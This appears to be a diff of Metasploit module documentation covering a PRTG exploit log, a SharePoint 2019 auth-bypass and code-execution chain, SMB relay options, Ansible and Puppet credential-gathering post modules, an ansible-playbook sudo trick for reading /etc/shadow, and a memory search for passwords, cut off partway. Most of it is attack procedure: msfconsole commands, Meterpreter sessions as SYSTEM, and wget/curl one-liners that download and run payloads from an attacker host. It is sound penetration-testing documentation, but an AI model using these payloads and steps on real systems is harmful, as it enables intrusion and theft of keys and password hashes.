[+] Successfully authenticated against PRTG
[*] Writing .bat to disk
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[*] Generated sensor_name Wg83qiZvO
[*] Generated bat_file_name rjKu8O2Pt.bat
[+] HL7 Sensor succesfully created
[*] Sleeping 5 seconds to wait for sensor creation
[*] Fetching created sensor id
[*] Extracted sensor_id: 2095
[*] Requesting HL7 Sensor to initiate scan
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[+] Sensor started running
[+] .bat file written to disk
[*] Running the .bat file: rjKu8O2Pt.bat
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[*] EXE Script sensor created
[*] Sleeping 5 seconds to wait for sensor creation
[*] Fetching created sensor id
[*] Extracted sensor_id: 2096
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[+] Sensor started running
[+] Exploit completed. Waiting for payload
[*] Exploit done
[*] Command Stager progress - 100.00% done (150/150 bytes)
[*] Client 192.168.56.1 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428) requested /sF321hmEZCz
[*] Sending payload to 192.168.56.1 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428)
[*] Sending stage (175686 bytes) to 192.168.56.1
[*] Meterpreter session 1 opened (192.168.56.1:4446 -> 192.168.56.1:43926) at 2023-11-23 17:06:34 +0000
[*] Server stopped.
meterpreter > shell
Process 4280 created.
Channel 1 created.
Microsoft Windows [Version 10.0.22621.2428]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\System32>whoami
whoami
nt authority\system
```
@@ -0,0 +1,102 @@
## Vulnerable Application
This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched
in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023.
The auth bypass allows attackers to impersonate the Sharepoint admin user. This vulnerability stems from the
signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing
algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic
flaw in the ReadTokenCore() method.
After impersonating the administrator user, the attacker has access to the Sharepoint API and is able to
exploit CVE-2023-24955. This authenticated RCE vulnerability leverages the impersonated privileged account to
replace the "/BusinessDataMetadataCatalog/BDCMetadata.bdcm" file in the webroot directory with a payload. The
payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API.
### Setup
Setup Windows Server 2022 [20348.169.210806-2348.fe_release_svc_refresh_SERVER_EVAL_x64FRE_en-us.iso](https://software-download.microsoft.com/download/sg/20348.169.210806-2348.fe_release_svc_refresh_SERVER_EVAL_x64FRE_en-us.iso).
Change the computer name to "sp1".
In network connections set the IP address of the machine to a static IP on the appropriate interface.
Set the DNS settings - one to the hardcoded address of the machine and the alternate to 8.8.8.8.
Add the AD DS role to the Server and then promote to a domain controller, use all the default settings. Name the domain "domain.local".
Download and install [SQL Server 2022](https://go.microsoft.com/fwlink/?linkid=2215202&clcid=0x409&culture=en-us&country=us) with all default settings.
Download [Sharepoint 2019 image](https://download.microsoft.com/download/C/B/A/CBA01793-1C8A-4671-BE0D-38C9E5BBD0E9/officeserver.img).
Mount the image on the newly configured Domain Controller.
Before installing the prerequisites you must go to Server Manager -> Local Server -> IE Enhanced Security Configuration -> Set to OFF
The prerequisites installer will fail to download prereqs without this.
Run the splash.hta file, then select Install Prerequisites, this will reboot the machine.
Remount the installer and rerun the PrerequisitesInstaller.exe. Once complete for the second time, click finish, this will reboot the machine.
Remount the installer and run setup.exe, this will install all the necessary binaries, this will reboot the machine
The SharePoint Products Configuration Wizard should launch automatically, if not you can launch it from the start menu.
Click next on the Welcome to Sharepoint Products page. It will tell you that it may have to reboot the machine, click Yes.
Select "Create a new server farm", click Next.
Input the following:
Database server: sp1
Database name: SharePoint_Config
Username: DOMAIN\\Administrator
Password: N0tpassword!
Click Next.
Specify Farm Security Settings:
Enter and reenter a passphrase:
Click Next.
Specify Server Role:
Single-Server Farm
Click Next.
Configure SharePoint Central Administration Web Application
No changes here, keep the port number default and keep NTLM selected,
Click Next.
You should now have a vulnerable version of SharePoint 2019 installed.
## Verification Steps
1. Start msfconsole
1. Do: `use sharepoint_dynamic_proxy_generator_auth_bypass_rce`
1. Set the `RHOST`, `LHOST`, and `HOSTNAME` options
1. Run the module
1. Receive a Meterpreter session in the context of the user running the SharePoint application.
## Scenarios
### SharePoint 2019
```
msf6 exploit(windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Sharepoint version detected: 16.0.0.10337
[*] Discovered hostname is: sp1
[*] realm: 1a150b01-299a-48a9-afd4-379402fff4de, client_id: 00000003-0000-0ff1-ce00-000000000000
[*] Got Oauth Info: 1a150b01-299a-48a9-afd4-379402fff4de|00000003-0000-0ff1-ce00-000000000000
[*] Lob id is: XafKHq
[*] Successfully impersonated Site Admin: 00000003-0000-0ff1-ce00-000000000000
[+] The target is vulnerable. Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.
[*] BDCMetadata file already present on the remote host, backing it up.
[+] Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: /Users/jheysel/.msf4/loot/20240206152102_default_172.16.199.72_sharepoint.confi_163878.txt
[+] Payload has been successfully delivered
[*] Sending stage (200774 bytes) to 172.16.199.72
[+] BDCMetadata.bdcm has been successfully restored to it's original state.
[*] Meterpreter session 4 opened (172.16.199.1:4444 -> 172.16.199.72:51458) at 2024-02-06 15:21:04 -0500
meterpreter > getuid
Server username: DOMAIN\Administrator
meterpreter > sysinfo
Computer : SP1
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : DOMAIN
Logged On Users : 20
Meterpreter : x64/windows
meterpreter >
```
@@ -90,7 +90,14 @@ I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv
### DOMAIN
The domain name used during smb exchange.
The domain name used during SMB exchange.
### ACTION
Determines which of two actions smb_relay will use against the target.
The default is to run `PSEXEC`, but can be changed to `CREATE_SMB_SESSION` to
open an interactive SMB session against the target instead of running
psexec.
### TIMEOUT
@@ -0,0 +1,111 @@
## Vulnerable Application
This module will grab ansible information including hosts, ping status, and the configuration file.
### Docker-compose Install
Use the ansible lab files located [here](https://github.com/abdennour/ansible-lab-environment-in-containers).
Before bringing up the `docker-compose` instance, you'll want to generate an SSH key: `ssh-keygen -t rsa -N "" -f secrets/id_rsa`
Of note, only 1 of the 3 alpine hosts will be successful due to the port conflict. This is fine though.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Get an initial shell on the box
1. Do: `use post/linux/gather/ansible`
1. Do: `set session [#]`
1. Do: `run`
1. You should get information about the ansible install and host.
## Options
### ANSIBLE
Location of ansible executable if not in a standard location. This is added to a list of default locations
which includes `/usr/local/bin/ansible`. Defaults to ``
### ANSIBLEINVENTORY
Location of ansible-inventory executable if not in a standard location. This is added to a list of default locations
which includes `/usr/local/bin/ansible-inventory`. Defaults to ``
### ANSIBLECFG
Location of ansible-inventory executable if not in a standard location. This is added to a list of default locations
which includes `/etc/ansible/ansible.cfg`. Defaults to ``
### HOSTS
Which Ansible host (groups) to target. Defaults to `all`
## Scenarios
### Docker compose as mentioned above
Get initial access to the system
```
resource (ansible.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (ansible.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (ansible.rb)> set srvport 8181
srvport => 8181
resource (ansible.rb)> set target 7
target => 7
resource (ansible.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (ansible.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8181/qsmOaSn61Y
[*] Server started.
[*] Run the following command on the target machine:
wget -qO D418BdOM --no-check-certificate http://1.1.1.1:8181/qsmOaSn61Y; chmod +x D418BdOM; ./D418BdOM& disown
[*] Starting persistent handler(s)...
[*] Sending stage (3045380 bytes) to 172.28.0.3
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.28.0.3:52506) at 2023-12-13 12:32:03 -0500
```
```
resource (ansible.rb)> use post/linux/gather/ansible
resource (ansible.rb)> set ANSIBLECFG /playbook/ansible.cfg
ANSIBLECFG => /playbook/ansible.cfg
resource (ansible.rb)> set session 1
session => 1
resource (ansible.rb)> set verbose true
verbose => true
[msf](Jobs:1 Agents:2) post(linux/gather/ansible) > run
[+] Stored inventory to: /root/.msf4/loot/20231213123519_default_172.28.0.3_ansible.inventor_801476.json
[+] Ansible Hosts
=============
Host Connection
---- ----------
alpine-example-com ssh
alpinesystemd-example-com docker
centos7-example-com docker
rhel8-example-com docker
[+] Stored pings to: /root/.msf4/loot/20231213123529_default_172.28.0.3_ansible.ping_007951.txt
[+] Ansible Pings
=============
Host Status Ping Changed
---- ------ ---- -------
alpine-example-com SUCCESS pong false
alpinesystemd-example-com SUCCESS pong false
centos7-example-com SUCCESS pong false
rhel8-example-com SUCCESS pong false
[+] Stored config to: /root/.msf4/loot/20231213123530_default_172.28.0.3_ansible.cfg_563982.txt
[+] Private key file location: /secrets/id_rsa
[+] Stored private key file to: /root/.msf4/loot/20231213123530_default_172.28.0.3_ansible.private._084820.txt
[*] Post module execution completed
```
@@ -0,0 +1,109 @@
## Vulnerable Application
This module will read the first line of a file based on an error message from ansible-playbook with sudo privileges.
ansible-playbook takes a yaml file as input, and if there is an error, such as a non-yaml file, it outputs the line
where the error occurs. This can be exploited to read the first line of the file, which we'll typically want to read
/etc/shadow to obtain root's hash.
### Docker-compose Install
Use the ansible lab files located [here](https://github.com/abdennour/ansible-lab-environment-in-containers).
Before bringing up the `docker-compose` instance, you'll want to generate an SSH key: `ssh-keygen -t rsa -N "" -f secrets/id_rsa`
Of note, only 1 of the 3 alpine hosts will be successful due to the port conflict. This is fine though.
Next you'll need to add a user:
```
docker exec -it ansible-lab-environment-in-containers_controlnode_1 /bin/sh
useradd user
chmod o+w /etc/sudoers
echo -ne "\nuser ALL=(ALL) NOPASSWD: /usr/local/bin/ansible-playbook *\n" >> /etc/sudoers
chmod o-w /etc/sudoers
```
## Verification Steps
1. Install the application
1. Start msfconsole
1. Get an initial shell on the box
1. Do: `use post/linux/gather/ansible_playbook_error_message_file_reader`
1. Do: `set session [#]`
1. Do: `run`
1. You should be able to read the top line of a file.
## Options
### ANSIBLEPLAYBOOK
Location of ansible-playbook executable if not in a standard location. This is added to a list of default locations
which includes `/usr/local/bin/ansible-playbook`, `/usr/bin/ansible-playbook`. Defaults to ``
### FILE
File to be read. Defaults to `/etc/shadow`
### FULLOUTPUT
If the entire command output should be displayed, or only the error line. Defaults to `false`
## Scenarios
### Docker compose as mentioned above
Get initial access to the system
```
resource (ansible_playbook.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (ansible_playbook.rb)> set lhost 192.168.2.128
lhost => 192.168.2.128
resource (ansible_playbook.rb)> set srvport 8181
srvport => 8181
resource (ansible_playbook.rb)> set lport 8183
lport => 8183
resource (ansible_playbook.rb)> set target 7
target => 7
resource (ansible_playbook.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (ansible_playbook.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.2.128:8183
[*] Using URL: http://192.168.2.128:8181/I5062GM5P5Avgu
[*] Server started.
[*] Run the following command on the target machine:
wget -qO lAM5H81x --no-check-certificate http://192.168.2.128:8181/I5062GM5P5Avgu; chmod +x lAM5H81x; ./lAM5H81x& disown
[*] Starting persistent handler(s)...
[*] 172.28.0.3 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045380 bytes) to 172.28.0.3
[*] Meterpreter session 1 opened (192.168.2.128:8183 -> 172.28.0.3:37216) at 2023-12-13 14:58:36 -0500
[msf](Jobs:1 Agents:1) post(linux/gather/ansible_playbook_error_message_file_reader) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/playbook) > getuid
Server username: user
(Meterpreter 1)(/playbook) > cat /etc/shadow
[-] core_channel_open: Operation failed: 1
(Meterpreter 1)(/playbook) > background
[*] Backgrounding session 1...
```
```
resource (ansible_playbook.rb)> use post/linux/gather/ansible_playbook_error_message_file_reader
resource (ansible_playbook.rb)> set session 1
session => 1
resource (ansible_playbook.rb)> set verbose true
verbose => true
[msf](Jobs:1 Agents:1) post(linux/gather/ansible_playbook_error_message_file_reader) > run
[*] Checking sudo
[*] Executing: sudo -n -l
[*] Executing: sudo -n /usr/local/bin/ansible-playbook /etc/shadow
[+] root:!::0:::::
[*] Post module execution completed
```
@@ -0,0 +1,386 @@
## Vulnerable Application
This module will grab Puppet config files, credentials, host information, and file buckets
### Docker-compose Install
Use the puppet files located [here](https://github.com/voxpupuli/crafty/tree/main/puppet/oss) by following this script:
```
mkdir /tmp/puppet
wget https://raw.githubusercontent.com/voxpupuli/crafty/main/puppet/oss/.env -O /tmp/puppet/.env
wget https://raw.githubusercontent.com/voxpupuli/crafty/main/puppet/oss/compose.yaml -O /tmp/puppet/compose.yaml
docker-compose -f /tmp/puppet/compose.yaml up
```
Now build out some content so theres interesting things to pull:
```
docker exec -it puppet_puppet_1 /bin/bash
echo test >> /tmp/TestFile
puppet filebucket -l backup /tmp/TestFile
puppet module install puppetlabs-apache
```
## Verification Steps
1. Install the application
1. Start msfconsole
1. Get an initial shell on the box
1. Do: `use post/linux/gather/puppet`
1. Do: `set session [#]`
1. Do: `run`
1. You should get information about the puppet install and host.
## Options
### FILEBUCKET
If file bucket items should be pulled. Defaults to `true`
### PUPPET
Location of puppet executable if not in a standard location. This is added to a list of default locations
which includes `/opt/puppetlabs/puppet/bin/puppet`.
### FACTER
Location of facter executable if not in a standard location. This is added to a list of default locations
which includes `/opt/puppetlabs/puppet/bin/facter`.
## Scenarios
### Docker compose as mentioned above
Get initial access to the system
```
resource (puppet.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (puppet.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (puppet.rb)> set srvport 8181
srvport => 8181
resource (puppet.rb)> set target 7
target => 7
resource (puppet.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (puppet.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8181/Gc7zrm8CdKGSe2
[*] Server started.
[*] Run the following command on the target machine:
wget -qO CmKyTd1N --no-check-certificate http://1.1.1.1:8181/Gc7zrm8CdKGSe2; chmod +x CmKyTd1N; ./CmKyTd1N& disown
[*] Sending stage (3045380 bytes) to 172.20.0.3
[msf](Jobs:1 Agents:0) post(linux/gather/puppet) > [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.20.0.3:59338) at 2023-12-10 10:38:11 -0500
```
We now have a `wget` command, however the system doesn't have `wget`. Alter it to a `curl`
command similar to `curl http://1.1.1.1:8181/Gc7zrm8CdKGSe2 > uBgZi2eZ; chmod +x uBgZi2eZ; ./uBgZi2eZ& disown`
You'll now need to get on the docker image: `docker exec -it puppet_puppet_1 /bin/bash` and run the `curl`` command.
```
resource (puppet.rb)> use post/linux/gather/puppet
resource (puppet.rb)> set session 1
resource (puppet.rb)> set verbose true
verbose => true
[msf](Jobs:1 Agents:1) post(linux/gather/puppet) > run
[+] Stored puppet config to: /root/.msf4/loot/20231210104539_default_172.20.0.3_puppet.conf_250032.txt
[+] Puppet Configuration
====================
Parameter Value Loot Location
--------- ----- -------------
cacert /etc/puppetlabs/puppetserver/ca/ca_crt.pem /root/.msf4/loot/20231210104540_default_172.20.0.3_etcpuppetlabs_837639.txt
cakey /etc/puppetlabs/puppetserver/ca/ca_key.pem /root/.msf4/loot/20231210104540_default_172.20.0.3_etcpuppetlabs_098956.txt
passfile /etc/puppetlabs/puppet/ssl/private/password
server puppet
user puppet
[+] Puppet Modules
==============
Module Version
------ -------
puppetlabs-apache v11.1.0
puppetlabs-concat v9.0.1
puppetlabs-stdlib v9.4.1
[*] Retrieving filebucket contents: /tmp/TestFile
[+] Puppet Filebucket Files
=======================
Hash Date Filename Loot location
---- ---- -------- -------------
9252a75c942da16f7b52cab752797dea4fca18474db9d7eff102842a459b25b3 2023-12-09 12:17:58 /tmp/TestFile /root/.msf4/loot/20231210104544_default_172.20.0.3_puppet.filebucke_189638.txt
[+] Stored facter to: /root/.msf4/loot/20231210104545_default_172.20.0.3_puppet.facter_436612.txt
[+] Stored packages to: /root/.msf4/loot/20231210104547_default_172.20.0.3_puppet.packages_320990.txt
[+] Puppet Packages
===============
Package Version Source
------- ------- ------
adduser 3.118ubuntu5 apt
apt 2.4.10 apt
base-files 12ubuntu4.4 apt
base-passwd 3.5.52build1 apt
base64 0.2.0 puppet_gem
bash 5.1-6ubuntu1 apt
benchmark 0.1.0 puppet_gem
bigdecimal 2.0.0 puppet_gem
bsdutils 1:2.37.2-4ubuntu3 apt
bundler 2.1.4 puppet_gem
ca-certificates 20230311ubuntu0.22.04.1 apt
ca-certificates-java 20190909ubuntu1.2 apt
cgi 0.1.0.2 puppet_gem
colored2 3.1.2 puppet_gem
concurrent-ruby 1.1.9 puppet_gem
coreutils 8.32-4.1ubuntu1 apt
cri 2.15.11 puppet_gem
csv 3.1.2 puppet_gem
dash 0.5.11+git20210903+057cd650a4ed-3build1 apt
date 3.0.3 puppet_gem
debconf 1.5.79ubuntu1 apt
debianutils 5.5-1ubuntu2 apt
deep_merge 1.2.2 puppet_gem
delegate 0.1.0 puppet_gem
did_you_mean 1.4.0 puppet_gem
diffutils 1:3.8-0ubuntu2 apt
dpkg 1.21.1ubuntu2.2 apt
dumb-init 1.2.5 apt
e2fsprogs 1.46.5-2ubuntu1.1 apt
erubi 1.12.0 puppet_gem
etc 1.1.0 puppet_gem
facter 4.5.1 puppet_gem
faraday 2.7.11 puppet_gem
faraday-follow_redirects 0.3.0 puppet_gem
faraday-net_http 3.0.2 puppet_gem
fast_gettext 2.3.0 puppet_gem
fcntl 1.0.0 puppet_gem
ffi 1.15.5 puppet_gem
fiddle 1.0.0 puppet_gem
fileutils 1.4.1 puppet_gem
findutils 4.8.0-1ubuntu3 apt
fontconfig-config 2.13.1-4.2ubuntu5 apt
fonts-dejavu-core 2.37-2build1 apt
forwardable 1.3.1 puppet_gem
gcc-12-base 12.3.0-1ubuntu1~22.04 apt
getoptlong 0.1.0 puppet_gem
gettext 3.4.9 puppet_gem
gettext-setup 1.1.0 puppet_gem
git 1:2.34.1-1ubuntu1.10 apt
git-man 1:2.34.1-1ubuntu1.10 apt
gpgv 2.2.27-3ubuntu2.1 apt
grep 3.7-1build1 apt
gzip 1.10-4ubuntu4.1 apt
hiera 3.12.0 puppet_gem
hiera-eyaml 3.4.0 puppet_gem
highline 2.1.0 puppet_gem
hocon 1.3.1 puppet_gem
hostname 3.23ubuntu2 apt
init-system-helpers 1.62 apt
io-console 0.5.6 puppet_gem
ipaddr 1.2.2 puppet_gem
irb 1.2.6 puppet_gem
java-common 0.72build2 apt
json 2.3.0 puppet_gem
jwt 2.7.1 puppet_gem
libacl1 2.3.1-1 apt
libapt-pkg6.0 2.4.10 apt
libasound2 1.2.6.1-1ubuntu1 apt
libasound2-data 1.2.6.1-1ubuntu1 apt
libattr1 1:2.5.1-1build1 apt
libaudit-common 1:3.0.7-1build1 apt
libaudit1 1:3.0.7-1build1 apt
libavahi-client3 0.8-5ubuntu5.1 apt
libavahi-common-data 0.8-5ubuntu5.1 apt
libavahi-common3 0.8-5ubuntu5.1 apt
libblkid1 2.37.2-4ubuntu3 apt
libbrotli1 1.0.9-2build6 apt
libbsd0 0.11.5-1 apt
libbz2-1.0 1.0.8-5build1 apt
libc-bin 2.35-0ubuntu3.4 apt
libc6 2.35-0ubuntu3.4 apt
libcap-ng0 0.7.9-2.2build3 apt
libcap2 1:2.44-1ubuntu0.22.04.1 apt
libcom-err2 1.46.5-2ubuntu1.1 apt
libcrypt1 1:4.4.27-1 apt
libcups2 2.4.1op1-1ubuntu4.7 apt
libcurl3-gnutls 7.81.0-1ubuntu1.14 apt
libdb5.3 5.3.28+dfsg1-0.8ubuntu3 apt
libdbus-1-3 1.12.20-2ubuntu4.1 apt
libdebconfclient0 0.261ubuntu1 apt
liberror-perl 0.17029-1 apt
libexpat1 2.4.7-1ubuntu0.2 apt
libext2fs2 1.46.5-2ubuntu1.1 apt
libffi8 3.4.2-4 apt
libfontconfig1 2.13.1-4.2ubuntu5 apt
libfreetype6 2.11.1+dfsg-1ubuntu0.2 apt
libgcc-s1 12.3.0-1ubuntu1~22.04 apt
libgcrypt20 1.9.4-3ubuntu3 apt
libgdbm-compat4 1.23-1 apt
libgdbm6 1.23-1 apt
libglib2.0-0 2.72.4-0ubuntu2.2 apt
libgmp10 2:6.2.1+dfsg-3ubuntu1 apt
libgnutls30 3.7.3-4ubuntu1.2 apt
libgpg-error0 1.43-3 apt
libgraphite2-3 1.3.14-1build2 apt
libgssapi-krb5-2 1.19.2-2ubuntu0.2 apt
libharfbuzz0b 2.7.4-1ubuntu3.1 apt
libhogweed6 3.7.3-1build2 apt
libidn2-0 2.3.2-2build1 apt
libjpeg-turbo8 2.1.2-0ubuntu1 apt
libjpeg8 8c-2ubuntu10 apt
libk5crypto3 1.19.2-2ubuntu0.2 apt
libkeyutils1 1.6.1-2ubuntu3 apt
libkrb5-3 1.19.2-2ubuntu0.2 apt
libkrb5support0 1.19.2-2ubuntu0.2 apt
liblcms2-2 2.12~rc1-2build2 apt
libldap-2.5-0 2.5.16+dfsg-0ubuntu0.22.04.1 apt
liblz4-1 1.9.3-2build2 apt
liblzma5 5.2.5-2ubuntu1 apt
libmd0 1.0.4-1build1 apt
libmount1 2.37.2-4ubuntu3 apt
libncurses6 6.3-2ubuntu0.1 apt
libncursesw6 6.3-2ubuntu0.1 apt
libnettle8 3.7.3-1build2 apt
libnghttp2-14 1.43.0-1build3 apt
libnsl2 1.3.0-2build2 apt
libnspr4 2:4.32-3build1 apt
libnss3 2:3.68.2-0ubuntu1.2 apt
libp11-kit0 0.24.0-6build1 apt
libpam-modules 1.4.0-11ubuntu2.3 apt
libpam-modules-bin 1.4.0-11ubuntu2.3 apt
libpam-runtime 1.4.0-11ubuntu2.3 apt
libpam0g 1.4.0-11ubuntu2.3 apt
libpcre2-8-0 10.39-3ubuntu0.1 apt
libpcre3 2:8.39-13ubuntu0.22.04.1 apt
libpcsclite1 1.9.5-3ubuntu1 apt
libperl5.34 5.34.0-3ubuntu1.2 apt
libpng16-16 1.6.37-3build5 apt
libprocps8 2:3.3.17-6ubuntu2 apt
libpsl5 0.21.0-1.2build2 apt
librtmp1 2.4+20151223.gitfa8646d.1-2build4 apt
libsasl2-2 2.1.27+dfsg2-3ubuntu1.2 apt
libsasl2-modules-db 2.1.27+dfsg2-3ubuntu1.2 apt
libseccomp2 2.5.3-2ubuntu2 apt
libselinux1 3.3-1build2 apt
libsemanage-common 3.3-1build2 apt
libsemanage2 3.3-1build2 apt
libsepol2 3.3-1build1 apt
libsmartcols1 2.37.2-4ubuntu3 apt
libsqlite3-0 3.37.2-2ubuntu0.1 apt
libss2 1.46.5-2ubuntu1.1 apt
libssh-4 0.9.6-2ubuntu0.22.04.1 apt
libssl3 3.0.2-0ubuntu1.10 apt
libstdc++6 12.3.0-1ubuntu1~22.04 apt
libsystemd0 249.11-0ubuntu3.10 apt
libtasn1-6 4.18.0-4build1 apt
libtinfo6 6.3-2ubuntu0.1 apt
libtirpc-common 1.3.2-2ubuntu0.1 apt
libtirpc3 1.3.2-2ubuntu0.1 apt
libudev1 249.11-0ubuntu3.10 apt
libunistring2 1.0-1 apt
libuuid1 2.37.2-4ubuntu3 apt
libx11-6 2:1.7.5-1ubuntu0.3 apt
libx11-data 2:1.7.5-1ubuntu0.3 apt
libxau6 1:1.0.9-1build5 apt
libxcb1 1.14-3ubuntu3 apt
libxdmcp6 1:1.1.3-0ubuntu5 apt
libxext6 2:1.3.4-1build1 apt
libxi6 2:1.8-1build1 apt
libxrender1 1:0.9.10-1build4 apt
libxtst6 2:1.2.3-1build4 apt
libxxhash0 0.8.1-1 apt
libzstd1 1.4.8+dfsg-3build1 apt
locale 2.1.3 puppet_gem
log4r 1.1.10 puppet_gem
logger 1.4.2 puppet_gem
login 1:4.8.1-2ubuntu2.1 apt
logsave 1.46.5-2ubuntu1.1 apt
lsb-base 11.1.0ubuntu4 apt
matrix 0.2.0 puppet_gem
mawk 1.3.4.20200120-3 apt
minitar 0.9 puppet_gem
minitest 5.13.0 puppet_gem
mount 2.37.2-4ubuntu3 apt
multi_json 1.15.0 puppet_gem
mutex_m 0.1.0 puppet_gem
ncurses-base 6.3-2ubuntu0.1 apt
ncurses-bin 6.3-2ubuntu0.1 apt
net-pop 0.1.0 puppet_gem
net-smtp 0.1.0 puppet_gem
net-ssh 4.2.0 puppet_gem
net-telnet 0.2.0 puppet_gem
net-tools 1.60+git20181103.0eebece-1ubuntu5 apt
netbase 6.3 apt
observer 0.1.0 puppet_gem
open3 0.1.0 puppet_gem
openjdk-17-jre-headless 17.0.8.1+1~us1-0ubuntu1~22.04 apt
openjdk-8-jre-headless 8u382-ga-1~22.04.1 apt
openssl 3.0.2-0ubuntu1.12 apt
optimist 3.0.1 puppet_gem
ostruct 0.2.0 puppet_gem
passwd 1:4.8.1-2ubuntu2.1 apt
perl 5.34.0-3ubuntu1.2 apt
perl-base 5.34.0-3ubuntu1.2 apt
perl-modules-5.34 5.34.0-3ubuntu1.2 apt
power_assert 1.1.7 puppet_gem
prime 0.1.1 puppet_gem
procps 2:3.3.17-6ubuntu2 apt
pstore 0.1.0 puppet_gem
psych 3.1.0 puppet_gem
puppet 7.27.0 puppet_gem
puppet-agent 7.27.0-1jammy apt
puppet-resource_api 1.9.0 puppet_gem
puppet7-release 7.0.0-14jammy apt
puppet_forge 5.0.3 puppet_gem
puppetdb-termini 7.15.0-1jammy apt
puppetserver 7.14.0-1jammy apt
puppetserver-ca 2.6.0 puppet_gem
r10k 4.0.0 puppet_gem
racc 1.4.16 puppet_gem
rake 13.0.1 puppet_gem
rdoc 6.2.1.1 puppet_gem
readline 0.0.2 puppet_gem
readline-ext 0.1.0 puppet_gem
reline 0.1.5 puppet_gem
rexml 3.2.3.1 puppet_gem
rss 0.2.8 puppet_gem
ruby2_keywords 0.0.5 puppet_gem
scanf 1.0.0 puppet_gem
sdbm 1.0.0 puppet_gem
sed 4.8-1ubuntu2 apt
semantic_puppet 1.0.4 puppet_gem
sensible-utils 0.0.17 apt
singleton 0.1.0 puppet_gem
stringio 0.1.0 puppet_gem
strscan 1.0.3 puppet_gem
sys-filesystem 1.4.4 puppet_gem
sysvinit-utils 3.01-1ubuntu1 apt
tar 1.34+dfsg-1ubuntu0.1.22.04.1 apt
test-unit 3.3.4 puppet_gem
text 1.3.1 puppet_gem
thor 1.2.2 puppet_gem
timeout 0.1.0 puppet_gem
tracer 0.1.0 puppet_gem
ubuntu-keyring 2021.03.26 apt
ucf 3.0043 apt
uri 0.10.0.2 puppet_gem
usrmerge 25ubuntu2 apt
util-linux 2.37.2-4ubuntu3 apt
webrick 1.6.1 puppet_gem
x11-common 1:7.7+23ubuntu2 apt
xmlrpc 0.3.0 puppet_gem
yaml 0.1.0 puppet_gem
zlib 1.1.0 puppet_gem
zlib1g 1:1.2.11.dfsg-2ubuntu9.2 apt
[*] Post module execution completed
```
@@ -0,0 +1,129 @@
## Vulnerable Application
This module allows for searching the memory space of running processes using Meterpreter's
`stdapi_sys_process_memory_search` command for potentially sensitive data such as passwords.
## Verification Steps
1. Start `msfconsole`
1. Get a Meterpreter session
1. Do: `use post/multi/gather/memory_search`
1. Do: `set SESSION <Session ID>`
1. Do: `set PROCESS_NAMES_GLOB <process_names_regex>`
1. Do: `set PROCESS_IDS <Process ID>`
1. Do: `set REGEX <regex>`
1. Do: `run`
## Options
### PROCESS_NAMES_GLOB
Regular expression used to target processes. (default: `ssh.*`)
### PROCESS_IDS
Comma delimited process ID/IDs to search through. (default: `nil`)
### REGEX
Regular expression to search for within memory. (default: `publickey,password.*`)
### MIN_MATCH_LEN
The minimum number of bytes to match. (default: `5`)
### MAX_MATCH_LEN
The maximum number of bytes to match. (default: `127`)
### REPLACE_NON_PRINTABLE_BYTES
Replace non-printable bytes with ".". (default: `true`)
### SAVE_LOOT
Save the memory matches to loot. (default: `true`)
## Scenarios
### Windows 10 - OpenSSH_9.4p1, OpenSSL 3.1.2 1 Aug 2023
In this scenario, the Windows target is connected to a different host using `ssh.exe` using the password `myverysecretpassword`:
```
msf6 post(multi/gather/memory_search) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
